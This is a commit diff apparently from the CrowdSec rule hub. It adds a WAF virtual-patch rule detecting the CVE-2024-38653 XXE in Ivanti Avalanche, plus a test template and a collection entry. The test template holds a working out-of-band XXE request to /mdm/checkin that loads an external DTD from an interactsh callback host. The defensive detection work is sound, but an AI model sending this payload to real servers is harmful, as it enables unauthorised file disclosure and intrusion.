Add vpatch-CVE-2024-38653 rule and test

.appsec-tests/vpatch-CVE-2024-38653/CVE-2024-38653.yaml

@@ -0,0 +1,27 @@
+## autogenerated on 2025-05-09 17:07:29
+id: CVE-2024-38653
+info:
+  name: CVE-2024-38653
+  author: crowdsec
+  severity: info
+  description: CVE-2024-38653 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        PUT /mdm/checkin HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/xml
+
+        <?xml version="1.0" ?>
+        <!DOCTYPE a [
+        <!ENTITY % asd SYSTEM "http://{{interactsh-url}}/{{filename}}.dtd">
+        %asd;
+        %c;
+        ]>
+        <a></a>
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

.appsec-tests/vpatch-CVE-2024-38653/config.yaml

@@ -0,0 +1,5 @@
+## autogenerated on 2025-05-09 17:07:29
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2024-38653.yaml
+nuclei_template: CVE-2024-38653.yaml

appsec-rules/crowdsecurity/vpatch-CVE-2024-38653.yaml

@@ -0,0 +1,40 @@
+## autogenerated on 2025-05-09 17:07:29
+name: crowdsecurity/vpatch-CVE-2024-38653
+description: 'Detects XXE vulnerability in Ivanti Avalanche SmartDeviceServer via /mdm/checkin endpoint with XML payload.'
+rules:
+  - and:
+      - zones:
+          - URI
+        transform:
+          - lowercase
+        match:
+          type: equals
+          value: /mdm/checkin
+      - zones:
+          - HEADERS
+        variables:
+          - content-type
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: application/xml
+      - zones:
+          - RAW_BODY
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: '<!doctype'
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'Ivanti Avalanche - XXE'
+  classification:
+    - cve.CVE-2024-38653
+    - attack.T1190
+    - cwe.CWE-611

collections/crowdsecurity/appsec-virtual-patching.yaml

@@ -90,6 +90,7 @@ appsec-rules:
 - crowdsecurity/vpatch-CVE-2024-27292
 - crowdsecurity/vpatch-CVE-2025-24893
 - crowdsecurity/vpatch-CVE-2021-43798
+- crowdsecurity/vpatch-CVE-2024-38653
 author: crowdsecurity
 contexts:
 - crowdsecurity/appsec_base